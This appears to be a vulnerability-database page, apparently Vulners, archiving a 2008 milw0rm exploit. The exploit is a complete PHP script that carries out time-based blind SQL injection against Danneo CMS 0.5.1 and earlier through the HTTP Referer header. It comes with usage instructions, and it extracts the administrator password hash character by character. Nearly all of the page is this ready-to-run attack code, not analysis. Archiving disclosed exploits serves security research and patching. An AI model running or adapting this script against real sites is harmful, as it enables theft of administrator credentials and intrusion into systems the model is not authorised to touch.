Lucene search
K

Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit

🗓️ 11 Mar 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Danneo CMS <= 0.5.1 Remote Blind SQL Injection Exploit. By InATeam. Requires "Referers statistics" option turned ON

Code

                                                &lt;?php
## Danneo CMS &lt;= 0.5.1 Remote Blind SQL Injection Exploit
## Software site: http://www.danneo.com/
## By InATeam (http://inattack.ru/)
## Requires &quot;Referers statistics&quot; option turned ON!

echo &quot;------------------------------------------------------------\n&quot;;
echo &quot;Danneo CMS &lt;= 0.5.1 Remote Blind SQL Injection Exploit\n&quot;;
echo &quot;(c)oded by Raz0r, InATeam (http://inattack.ru/)\n&quot;;
echo &quot;Requires \&quot;Referers statistics\&quot; option turned ON!\n&quot;;
echo &quot;------------------------------------------------------------\n&quot;;

if ($argc&lt;2) {
   echo &quot;USAGE:\n&quot;;
   echo &quot;~~~~~~\n&quot;;
   echo &quot;php {$argv[0]} [url] OPTIONS\n\n&quot;;
   echo &quot;[url]        - target server where Danneo CMS is installed\n\n&quot;;
   echo &quot;OPTIONS:\n&quot;;
   echo &quot;-p=&lt;prefix&gt;  - use specific prefix\n&quot;;
   echo &quot;-id=&lt;id&gt;     - use specific user id (default 1)\n&quot;;
   echo &quot;-c=&lt;count&gt;   - benchmark()'s loop count (default 300000)\n&quot;;
   echo &quot;-v           - verbose mode\n\n&quot;;
   echo &quot;tip:\n&quot;;
   echo &quot;use bigger number of &lt;count&gt; if server is slow\n\n&quot;;
   echo &quot;php {$argv[0]} http://site.com/ -p=cms_\n&quot;;
   echo &quot;php {$argv[0]} http://cms.site.com:8080/ -id=2\n&quot;;
   die;
}

error_reporting(0);
set_time_limit(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,25);
$url = $argv[1];
for($i=2;$i&lt;$argc;$i++) {
   if(strpos($argv[$i],&quot;=&quot;)!=false) {
       $exploded=explode(&quot;=&quot;,$argv[$i]);
       if ($exploded[0]=='-p') $prefix = $exploded[1];
       if ($exploded[0]=='-id') $id = $exploded[1];
       if ($exploded[0]=='-c') $benchmark = $exploded[1];
   }
   elseif($argv[$i] == '-v') $verbose=true;
}
if (!isset($id)) $id = 1;
if (!isset($benchmark)) $benchmark = 300000;
if (!isset($verbose)) $verbose=false;
$url_parts = parse_url($url);
$host = $url_parts['host'];
$port = (isset($url_parts['port']) ? $url_parts['port'] : 80);
$path = $url_parts['path'];
$query_pattern   = &quot;-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*&quot;;
$verbose_pattern = &quot;%-12s %2d: %s&quot;;
print &quot;[~] Testing probe delays...\n&quot;;
$ok=true; $nodelay=0; $withdelay=0;
for ($i=1;$i&lt;=3;$i++){
   $query = sprintf($query_pattern, &quot;1=1&quot;, 1);
   $fdelay = dorequest($query,false,true);
   if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
   $query = sprintf($query_pattern, &quot;1=1&quot;, $benchmark);
   $sdelay = dorequest($query,false,true);
   if ($sdelay!==false) $withdelay+=$sdelay;  else {$ok=false;break;}
   if ($sdelay&lt;=($fdelay*2)) {$ok=false;break;}
   usleep($benchmark/1000); $delay=false;
}
if ($ok) {
   $nondelayed = $nodelay/3;
   print &quot;[+] Average nondelayed queries response time: &quot;.round($nondelayed,1).&quot; dsecs\n&quot;;
   $delayed = $withdelay/3;
   print &quot;[+] Average delayed queries response time: &quot;.round($delayed,1).&quot; dsecs\n&quot;;
}
else die(&quot;[-] Exploit failed\n&quot;);

if (isset($GLOBALS['version'])) {
   echo &quot;[+] Version {$GLOBALS['version']} has been detected\n&quot;;
   $v = str_replace(&quot;.&quot;,&quot;&quot;,$GLOBALS['version']);
}
if (isset($prefix)) {$usedprefix = $prefix; echo &quot;[~] Using prefix $prefix\n&quot;;}
elseif (isset($v)) {$usedprefix = &quot;dn{$v}_&quot;; echo &quot;[~] Using prefix dn{$v}_\n&quot;;}
else {$usedprefix = &quot;dn_&quot;; echo &quot;[~] Using prefix dn_\n&quot;;}

print &quot;    Getting hash...&quot;;
if ($verbose) {print &quot;\r[~]&quot;; print &quot;\n&quot;;}
$hash='';
for($i=1; $i&lt;=32; $i++) {
   $chr = gethashchar($i);
   if($chr!==false) $hash .= $chr;
   else {
       $chr = gethashchar($i);
       if ($chr !==false)$hash .= $chr;
       else die(&quot;\n[-] Exploit failed\n&quot;);          }   }
if (!$verbose) {print &quot;\r[~]&quot;; print &quot;\n&quot;;}
print &quot;[+] Result: {$hash}\n&quot;;

function gethashchar ($pos) {
   global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose;
   $inj = &quot;ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))&quot;;
   $query = sprintf($query_pattern, $inj.&quot;&gt;57&quot;, $benchmark*4);
   $success = condition($query);
   if (!$success) {
       if ($verbose) printf($verbose_pattern,&quot;[v] Position&quot;,$pos,&quot;char is [0-9]\n&quot;);
       $min = 48;
       $max = 57;          }
   else {
       if ($verbose) printf($verbose_pattern,&quot;[v] Position&quot;,$pos,&quot;char is [a-f]\n&quot;);
       $min = 97;
       $max = 102;          }
   for($i=$min;$i&lt;=$max;$i++) {
       $query = sprintf($query_pattern, $inj.&quot;=&quot;.$i, $benchmark*4);
       $success = condition($query);
       if ($success) {
           $query = sprintf($query_pattern, $inj.&quot;&lt;&gt;&quot;.$i, $benchmark*4);
           $recheck = condition($query);
           if (!$recheck) {
               $chr = chr($i);
               if ($verbose) printf($verbose_pattern,&quot;[v] Position&quot;,$pos,&quot;char is {$chr}\n&quot;);
               return $chr;
           }
       }
   }
   return false;
}
function condition($query) {
   global $delayed,$benchmark,$verbose,$verbose_pattern;
   for($attempt = 1; $attempt &lt;= 10; $attempt++){
       $delay = dorequest($query,true);
       if ($delay === false) {
           if ($verbose) printf($verbose_pattern,&quot;[v] Attempt&quot;,$attempt,&quot;error\n&quot;);
       }
       else {
           if ($verbose) printf($verbose_pattern,&quot;[v] Attempt&quot;,$attempt,&quot;success (delay is &quot;.sprintf(&quot;%-3d&quot;,$delay).&quot; dsecs)\n&quot;);                      break;
       }
   }
   if ($attempt == 10) die(&quot;[-] Exploit failed\n&quot;);
   if($delay &gt; ($delayed * 2)) {
       usleep(($benchmark*4)/1000);
       return true;      }
   return false;
}
function dorequest($query,$gethash=false,$getversion=false) {
   global $host,$port,$path,$verbose;
   if ($gethash&amp;&amp;!$verbose) status();
   $start = getmicrotime();
   $s = fsockopen(gethostbyname($host),$port);
   if (!$s) return false;
   else {
       $packet  = &quot;GET {$path}index.php HTTP/1.0\r\n&quot;;
       $packet .= &quot;Host: {$host}\r\n&quot;;
       $packet .= &quot;User-Agent: InAttack User Agent\r\n&quot;;
       $packet .= &quot;Referer: {$query}\r\n&quot;;
       $packet .= &quot;Connection: Close\r\n\r\n&quot;;
       fputs($s, $packet);
       $html='';
       while (!feof($s)) $html.=fgets($s);
       if ($getversion &amp;&amp; !isset($GLOBALS['version'])) {
           $out=array();
           if (preg_match(&quot;@&lt;META NAME=\&quot;GENERATOR\&quot; CONTENT=\&quot;Danneo CMS ([^&gt;]+)\&quot;&gt;@i&quot;,$html,$out)) $GLOBALS['version']=$out[1];
       }
       $end = getmicrotime();
   }
   return intval(($end-$start)*10);
}
function status() {
   static $n;
   $n++;
   if ($n &gt; 3) $n = 0;
   if($n==0){ print &quot;\r[-]\r&quot;; }
   if($n==1){ print &quot;\r[\\]\r&quot;;}
   if($n==2){ print &quot;\r[|]\r&quot;; }
   if($n==3){ print &quot;\r[/]\r&quot;; }
}
function getmicrotime() {return array_sum(explode(&quot; &quot;, microtime()));}
?&gt;

# milw0rm.com [2008-03-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Mar 2008 00:00Current
7.1High risk
Vulners AI Score7.1
13